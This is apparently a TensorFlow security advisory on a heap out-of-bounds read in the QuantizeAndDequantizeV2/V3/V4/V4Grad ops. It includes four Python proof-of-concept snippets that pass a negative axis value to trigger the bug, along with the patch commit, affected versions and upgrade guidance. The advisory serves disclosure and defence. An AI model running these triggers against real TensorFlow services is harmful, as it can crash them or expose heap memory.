Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

Overview

Impact

The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
    gradients=[1.0,1.0],
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV3(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    narrow_range=False,
    axis=-100)
  return data

test()

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV2(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

...
if (axis != -1) {
  ...
  c->Dim(input, axis);
  ...
}

Patches

We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

• tensorflow >= 2.6.0, < 2.6.1
• tensorflow >= 2.5.0, < 2.5.2
• tensorflow < 2.4.4
• tensorflow-cpu >= 2.6.0, < 2.6.1
• tensorflow-cpu >= 2.5.0, < 2.5.2
• tensorflow-cpu < 2.4.4
• tensorflow-gpu >= 2.6.0, < 2.6.1
• tensorflow-gpu >= 2.5.0, < 2.5.2
• tensorflow-gpu < 2.4.4

Remediation

Upgrade to a patched release:

• tensorflow 2.6.1
• tensorflow 2.5.2
• tensorflow 2.4.4
• tensorflow-cpu 2.6.1
• tensorflow-cpu 2.5.2
• tensorflow-cpu 2.4.4
• tensorflow-gpu 2.6.1
• tensorflow-gpu 2.5.2
• tensorflow-gpu 2.4.4